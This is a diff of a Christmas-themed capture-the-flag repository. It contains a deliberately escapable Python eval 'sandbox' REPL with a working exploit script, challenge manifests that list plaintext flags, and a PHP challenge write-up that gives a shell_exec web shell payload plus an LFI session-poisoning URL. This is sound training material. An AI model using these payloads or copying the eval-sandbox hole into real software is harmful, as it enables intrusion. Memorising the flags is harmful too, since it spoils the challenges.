innermost_idx = LAYER_COUNT - 1
|
||||
innermost_png_original = os.path.join(input_dir, pngs[innermost_idx])
|
||||
|
||||
zip_path = os.path.join("build", f"layer{LAYER_COUNT}.zip")
|
||||
with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z:
|
||||
z.write(flag_path, arcname="flag.txt")
|
||||
|
||||
embedded_png_path = os.path.join("build", f"layer{LAYER_COUNT}_embedded.png")
|
||||
append_file_to_png(innermost_png_original, zip_path, embedded_png_path)
|
||||
|
||||
inner_file = embedded_png_path # this will be zipped into the next outer layer
|
||||
|
||||
# 2) Build outer layers (N-1 down to 1)
|
||||
for layer in range(LAYER_COUNT - 1, 0, -1):
|
||||
png_name = pngs[layer - 1]
|
||||
png_original = os.path.join(input_dir, png_name)
|
||||
|
||||
# zip containing the previous (inner) embedded image
|
||||
zip_path = os.path.join("build", f"layer{layer}.zip")
|
||||
with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z:
|
||||
# Store it under a generic name inside the zip
|
||||
z.write(inner_file, arcname=f"inner_layer.png")
|
||||
|
||||
# append that zip to this layer's original PNG
|
||||
embedded_png_path = os.path.join("build", f"layer{layer}_embedded.png")
|
||||
append_file_to_png(png_original, zip_path, embedded_png_path)
|
||||
|
||||
inner_file = embedded_png_path
|
||||
|
||||
# 3) Copy the outermost embedded PNG as final challenge file
|
||||
with open(inner_file, "rb") as f_in, open(OUTER_NAME, "wb") as f_out:
|
||||
f_out.write(f_in.read())
|
||||
|
||||
print(f"[+] Created final challenge file: {OUTER_NAME}")
|
||||
print("[+] Intermediate files are in the build/ directory.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
10
Misc/Medium/North Pole REPL/Dockerfile
Normal file
@ -0,0 +1,10 @@
|
||||
FROM python:3.11-slim
|
||||
WORKDIR /app
|
||||
COPY . /app
|
||||
|
||||
EXPOSE 9000
|
||||
|
||||
COPY entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
17
Misc/Medium/North Pole REPL/entrypoint.sh
Normal file
@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env bash
|
||||
set -e
|
||||
|
||||
# If FLAG is set, write it to /app/flag.txt
|
||||
if [ -n "$FLAG" ]; then
|
||||
echo "$FLAG" > /app/flag.txt
|
||||
chmod 644 /app/flag.txt
|
||||
fi
|
||||
|
||||
case "${1:-}" in
|
||||
local)
|
||||
exec python3 server.py --mode stdin
|
||||
;;
|
||||
*)
|
||||
exec python3 server.py
|
||||
;;
|
||||
esac
|
||||
46
Misc/Medium/North Pole REPL/exploit.py
Normal file
@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
exploit.py - demonstrates the sandbox escape for the CTF challenge.
|
||||
|
||||
Connects to the REPL, evaluates an expression that uses helper.__globals__
|
||||
to access the real '__builtins__' mapping and open 'flag.txt'.
|
||||
"""
|
||||
import socket
|
||||
import sys
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print("Usage: python3 exploit.py <host> <port>")
|
||||
sys.exit(1)
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = int(sys.argv[2])
|
||||
|
||||
def recv_until(s, marker=b">> "):
|
||||
data = b""
|
||||
while True:
|
||||
part = s.recv(4096)
|
||||
if not part:
|
||||
break
|
||||
data += part
|
||||
if data.endswith(marker):
|
||||
break
|
||||
return data
|
||||
|
||||
# Connect
|
||||
s = socket.create_connection((HOST, PORT))
|
||||
banner = recv_until(s)
|
||||
print(banner.decode())
|
||||
|
||||
# Craft expression that reads flag using helper.__globals__ to get builtins
|
||||
payload = "helper.__globals__['__builtins__']['open']('flag.txt').read()"
|
||||
|
||||
print("[*] Sending payload:", payload)
|
||||
s.send((payload + "\n").encode())
|
||||
|
||||
resp = recv_until(s)
|
||||
print("Response:")
|
||||
print(resp.decode())
|
||||
|
||||
# Quit politely
|
||||
s.send(b"QUIT\n")
|
||||
s.close()
|
||||
15
Misc/Medium/North Pole REPL/manifest.yml
Normal file
@ -0,0 +1,15 @@
|
||||
slug: north_pole_repl
|
||||
title: "North Pole REPL"
|
||||
description: "A “safe” Python REPL is exposed over TCP by North Pole software developers. You can type Python expressions and get results. The service claims to be sandboxed (restricted builtins), but a helper object is available in the REPL and can be abused to escape the sandbox and read flag.txt."
|
||||
category: "misc"
|
||||
points: 700
|
||||
is_visible: true
|
||||
complexity: 7
|
||||
zip: "local"
|
||||
hints:
|
||||
- text: "The REPL claims to be sandboxed. Try small Python expressions and introspection functions to learn what's available."
|
||||
penalty_points: 10
|
||||
flag_plaintext: "CTF{s4f3_r3pl_1s_n0t_s0_s4f3}"
|
||||
service_webshell: true
|
||||
service_shell_cmd: "/bin/bash"
|
||||
service_shell_args: "/entrypoint.sh local"
|
||||
175
Misc/Medium/North Pole REPL/server.py
Normal file
@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Sandbox Slip - CTF challenge (medium, misc)
|
||||
|
||||
Supports two modes:
|
||||
- TCP (default): listens on HOST:PORT and serves a netcat-style REPL for each connection.
|
||||
- STDIN: reads lines from stdin and writes results to stdout (local interactive mode).
|
||||
|
||||
Usage:
|
||||
python3 server.py # TCP mode (default)
|
||||
python3 server.py --mode stdin # stdin/stdout REPL
|
||||
python3 server.py --host 0.0.0.0 --port 9000
|
||||
"""
|
||||
|
||||
import socketserver
|
||||
import threading
|
||||
import sys
|
||||
import traceback
|
||||
import os
|
||||
import argparse
|
||||
|
||||
HOST = "0.0.0.0"
|
||||
PORT = 9000
|
||||
FLAG_FILE = "flag.txt"
|
||||
WELCOME = """Welcome to PySafe REPL v0.3
|
||||
This REPL runs your Python expressions in a restricted environment.
|
||||
Type a single expression per line. Type QUIT to exit.
|
||||
Available helper object: helper
|
||||
>> """
|
||||
|
||||
# Vulnerable helper intentionally included to demonstrate sandbox escape.
|
||||
def helper():
|
||||
"""A small helper function that does nothing useful for players."""
|
||||
return "helpful"
|
||||
|
||||
# Ensure flag exists
|
||||
if not os.path.exists(FLAG_FILE):
|
||||
with open(FLAG_FILE, "w") as f:
|
||||
f.write("CTF{sandbox_slip_helper_globals}\n")
|
||||
|
||||
# Prepare the sandbox environment (shared by TCP and STDIN modes)
|
||||
# Note: __builtins__ is set to empty dict to simulate a naive sandbox.
|
||||
safe_globals = {"__builtins__": {}}
|
||||
safe_locals = {"helper": helper}
|
||||
|
||||
def evaluate_source(src: str, g: dict, l: dict):
|
||||
"""
|
||||
Evaluate a single-line source in the restricted environment.
|
||||
Tries eval() first, then exec() for statements.
|
||||
Returns a tuple (success:bool, output:str).
|
||||
"""
|
||||
src = src.rstrip("\n")
|
||||
if src.strip().upper() == "QUIT":
|
||||
return True, "QUIT"
|
||||
if src.strip() == "":
|
||||
return True, "" # empty line -> no output
|
||||
try:
|
||||
# Try eval for expressions
|
||||
result = eval(src, g, l)
|
||||
return True, repr(result)
|
||||
except SyntaxError:
|
||||
# Try exec for statements
|
||||
try:
|
||||
exec(src, g, l)
|
||||
return True, "OK"
|
||||
except Exception as e:
|
||||
tb = traceback.format_exc()
|
||||
return False, f"Execution error: {e}"
|
||||
except Exception as e:
|
||||
return False, f"Error: {e}"
|
||||
|
||||
# ---------- TCP handler ----------
|
||||
class REPLHandler(socketserver.StreamRequestHandler):
|
||||
def handle(self):
|
||||
addr = self.client_address[0]
|
||||
print(f"[+] Connection from {addr}")
|
||||
# Use instance-local copies so per-connection state can diverge if needed
|
||||
g = safe_globals
|
||||
l = safe_locals
|
||||
try:
|
||||
self.wfile.write(WELCOME.encode())
|
||||
while True:
|
||||
line = self.rfile.readline()
|
||||
if not line:
|
||||
break
|
||||
src = line.decode().rstrip("\n")
|
||||
if src.strip().upper() == "QUIT":
|
||||
self.wfile.write(b"Goodbye.\n")
|
||||
break
|
||||
ok, out = evaluate_source(src, g, l)
|
||||
# If source was empty, don't print extra blank line (just prompt)
|
||||
if out == "":
|
||||
self.wfile.write(b">> ")
|
||||
continue
|
||||
# If QUIT sentinel returned
|
||||
if out == "QUIT":
|
||||
self.wfile.write(b"Goodbye.\n")
|
||||
break
|
||||
# Send result or error
|
||||
self.wfile.write((out + "\n").encode())
|
||||
self.wfile.write(b">> ")
|
||||
except ConnectionResetError:
|
||||
pass
|
||||
except Exception as e:
|
||||
print("Handler exception:", e)
|
||||
finally:
|
||||
print(f"[-] Disconnected {addr}")
|
||||
|
||||
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
allow_reuse_address = True
|
||||
|
||||
def run_tcp_server(host: str, port: int):
|
||||
srv = ThreadedTCPServer((host, port), REPLHandler)
|
||||
print(f"Sandbox Slip (TCP) listening on {host}:{port}")
|
||||
try:
|
||||
srv.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
print("Shutting down TCP server...")
|
||||
srv.shutdown()
|
||||
srv.server_close()
|
||||
|
||||
# ---------- STDIN / STDOUT loop ----------
|
||||
def run_stdin_server():
|
||||
"""
|
||||
Interactive REPL on stdin/stdout. Useful for local testing.
|
||||
Reads from sys.stdin, writes responses to sys.stdout, prompts with '>> '.
|
||||
"""
|
||||
g = safe_globals
|
||||
l = safe_locals
|
||||
sys.stdout.write(WELCOME)
|
||||
sys.stdout.flush()
|
||||
try:
|
||||
while True:
|
||||
# Read one line from stdin
|
||||
line = sys.stdin.readline()
|
||||
if not line:
|
||||
# EOF
|
||||
break
|
||||
src = line.rstrip("\n")
|
||||
if src.strip().upper() == "QUIT":
|
||||
sys.stdout.write("Goodbye.\n")
|
||||
sys.stdout.flush()
|
||||
break
|
||||
ok, out = evaluate_source(src, g, l)
|
||||
if out == "":
|
||||
sys.stdout.write(">> ")
|
||||
sys.stdout.flush()
|
||||
continue
|
||||
if out == "QUIT":
|
||||
sys.stdout.write("Goodbye.\n")
|
||||
sys.stdout.flush()
|
||||
break
|
||||
sys.stdout.write(out + "\n")
|
||||
sys.stdout.write(">> ")
|
||||
sys.stdout.flush()
|
||||
except KeyboardInterrupt:
|
||||
sys.stdout.write("\nInterrupted. Exiting.\n")
|
||||
sys.stdout.flush()
|
||||
|
||||
# ---------- CLI ----------
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Sandbox Slip (TCP or STDIN REPL)")
|
||||
parser.add_argument("--mode", choices=["tcp", "stdin"], default="tcp",
|
||||
help="Run mode: 'tcp' to listen on network (default), 'stdin' for local REPL")
|
||||
parser.add_argument("--host", default=HOST, help="Host to bind in TCP mode")
|
||||
parser.add_argument("--port", type=int, default=PORT, help="Port to bind in TCP mode")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.mode == "stdin":
|
||||
run_stdin_server()
|
||||
else:
|
||||
run_tcp_server(args.host, args.port)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
BIN
Networking/.DS_Store
vendored
Normal file
BIN
Networking/Easy/.DS_Store
vendored
Normal file
BIN
Networking/Easy/Master of Sea/.DS_Store
vendored
Normal file
0
wall.jpg → Networking/Easy/Master of Sea/public/wall.jpg
Normal file → Executable file
|
Before Width: | Height: | Size: 59 KiB After Width: | Height: | Size: 59 KiB |
2
Networking/Medium/Xored FTP/data/flag.dat
Executable file
@ -0,0 +1,2 @@
|
||||
ZMQ9HI; k$qoI?k$@
|
||||
G^W7FW?
|
||||
15
Networking/Medium/Xored FTP/manifest.yml
Normal file
@ -0,0 +1,15 @@
|
||||
slug: xored_ftp
|
||||
title: "XORed FTP"
|
||||
description: "Elf Bob wants to send a file containing confidential information to his bestie elf alice. Little his knows is that he uses insecure FTP and Grinch is eavesdropping on the connection. However, Bob is a bit more cautious this time and XORs the file with a key before sending it over FTP. Can you help Eve recover the original file and find the flag hidden inside?"
|
||||
category: "networking"
|
||||
points: 700
|
||||
is_visible: true
|
||||
complexity: 7
|
||||
attachments:
|
||||
- "dump.pcapng"
|
||||
flag_plaintext: "EntySec{x0r3d_f1l3_0v3r_ftp_1s_s3cur3}"
|
||||
hints:
|
||||
- text: "FTP password is the same password as for the file."
|
||||
penalty_points: 10
|
||||
- text: "File is encrypted using one-time pad."
|
||||
penalty_points: 20
|
||||
BIN
Networking/Medium/Xored FTP/public/dump.pcapng
Executable file
@ -1,2 +1,8 @@
|
||||
# NoN-CTF
|
||||
<h3 align="center"><img src="docs/logo.png" alt="logo" width="50%"></h3>
|
||||
|
||||
<h3 align="center"><strong>Naughty or Nice CTF</strong></h4>
|
||||
|
||||
<p align="center">
|
||||
<br>Unwrap festive flags and unleash your inner hacker in a
|
||||
<br>Christmas CTF where being naughty or nice is all part of the game.
|
||||
</p>
|
||||
|
||||
BIN
Web/.DS_Store
vendored
Normal file
BIN
Web/Easy/.DS_Store
vendored
Normal file
BIN
Web/Easy/Big Software Foundation.zip
Normal file
BIN
Web/Easy/Big Software Foundation/.DS_Store
vendored
Normal file
14
Web/Easy/Big Software Foundation/Dockerfile
Executable file
@ -0,0 +1,14 @@
|
||||
FROM php:7.2-apache
|
||||
|
||||
COPY . /var/www/html/
|
||||
|
||||
# Permissions
|
||||
RUN chmod -R 755 /var/www/html/assets && \
|
||||
find /var/www/html/assets/img -type d -exec chmod 755 {} \; && \
|
||||
find /var/www/html/assets/img -type f -exec chmod 644 {} \;
|
||||
|
||||
# Copy entrypoint script
|
||||
COPY entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
28
Web/Easy/Big Software Foundation/Writeup/README.md
Executable file
@ -0,0 +1,28 @@
|
||||
## Big Software Foundation
|
||||
|
||||
Big Software Foundation or BSF, one of the largest software development companies finally launched their website after a long break. They asked us to assess their security, can you help us find a flaw in their system or is it impenetrable?
|
||||
|
||||
<h3 align="center">
|
||||
<img width="100%" src="./index.png">
|
||||
</h3>
|
||||
|
||||
### Solution
|
||||
|
||||
There are few ways how this challenge can be solved. One of these ways it by PHP session poisoning. For this you need to locate "Sign For Newsletter" form and send payload
|
||||
instead of email. Payload should look like this:
|
||||
|
||||
```php
|
||||
<?=shell_exec($_GET[cmd]);?>
|
||||
```
|
||||
|
||||
<h3 align="center">
|
||||
<img width="100%" src="./email.png">
|
||||
</h3>
|
||||
|
||||
Now, since we obviously have local file inclusion vulnerability in `?page=` parameter we can access our session at `/tmp/sess_<PHPSESSID>`. Accessing it through `?page=/tmp/sess_<PHPSESSID>&cmd=cat+flag.txt` would lead to RCE reading `flag.txt`
|
||||
|
||||
**NOTE:** Doing `?page=flag.txt` won't work because code prohibits direct access to this file.
|
||||
|
||||
<h3 align="center">
|
||||
<img width="100%" src="./denied.png">
|
||||
</h3>
|
||||
BIN
Web/Easy/Big Software Foundation/Writeup/denied.png
Executable file
|
After Width: | Height: | Size: 1.9 MiB |
BIN
Web/Easy/Big Software Foundation/Writeup/email.png
Executable file
|
After Width: | Height: | Size: 110 KiB |
BIN
Web/Easy/Big Software Foundation/Writeup/index.png
Executable file
|
After Width: | Height: | Size: 2.3 MiB |
8
Web/Easy/Big Software Foundation/about.php
Executable file
@ -0,0 +1,8 @@
|
||||
<div class="card p-4">
|
||||
<h1>About Us</h1>
|
||||
<p>Welcome to the Big Software Foundation, where we grow software to help businesses thrive. Founded in 2010, we have been at the forefront of delivering innovative software solutions tailored to meet the unique needs of our clients.</p>
|
||||
<h3>Our Mission</h3>
|
||||
<p>Our mission is to empower businesses with cutting-edge technology, enabling them to achieve their goals efficiently and effectively. We believe in the power of software to transform industries and drive growth.</p>
|
||||
<h3>Our Team</h3>
|
||||
<p>Our team consists of experienced software developers, database experts, and cloud specialists who are passionate about solving complex problems and delivering high-quality solutions.</p>
|
||||
</div>
|
||||
59
Web/Easy/Big Software Foundation/assets/css/styles.css
Executable file
@ -0,0 +1,59 @@
|
||||
body {
|
||||
background-color: #f5f5dc;
|
||||
margin-bottom: 100px; /* Add margin to prevent content from being hidden behind the footer */
|
||||
}
|
||||
.header {
|
||||
background: url('../img/grass.jpg') no-repeat center center;
|
||||
background-size: cover;
|
||||
height: 200px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding-left: 20px;
|
||||
}
|
||||
.header img {
|
||||
height: 100px;
|
||||
}
|
||||
.navbar {
|
||||
background-color: #556b2f;
|
||||
padding: 15px;
|
||||
box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
.navbar-brand {
|
||||
font-size: 1.5rem;
|
||||
font-weight: bold;
|
||||
}
|
||||
.navbar-nav {
|
||||
margin-left: auto;
|
||||
}
|
||||
.navbar a {
|
||||
color: white !important;
|
||||
font-weight: 600;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
.navbar a:hover {
|
||||
color: #d2b48c !important;
|
||||
}
|
||||
.card {
|
||||
background-color: #d2b48c;
|
||||
}
|
||||
/* Footer styles */
|
||||
footer {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
background-color: #556b2f;
|
||||
color: white;
|
||||
padding: 10px 20px;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
box-shadow: 0px -4px 6px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
footer a {
|
||||
color: #d2b48c;
|
||||
text-decoration: none;
|
||||
}
|
||||
footer a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||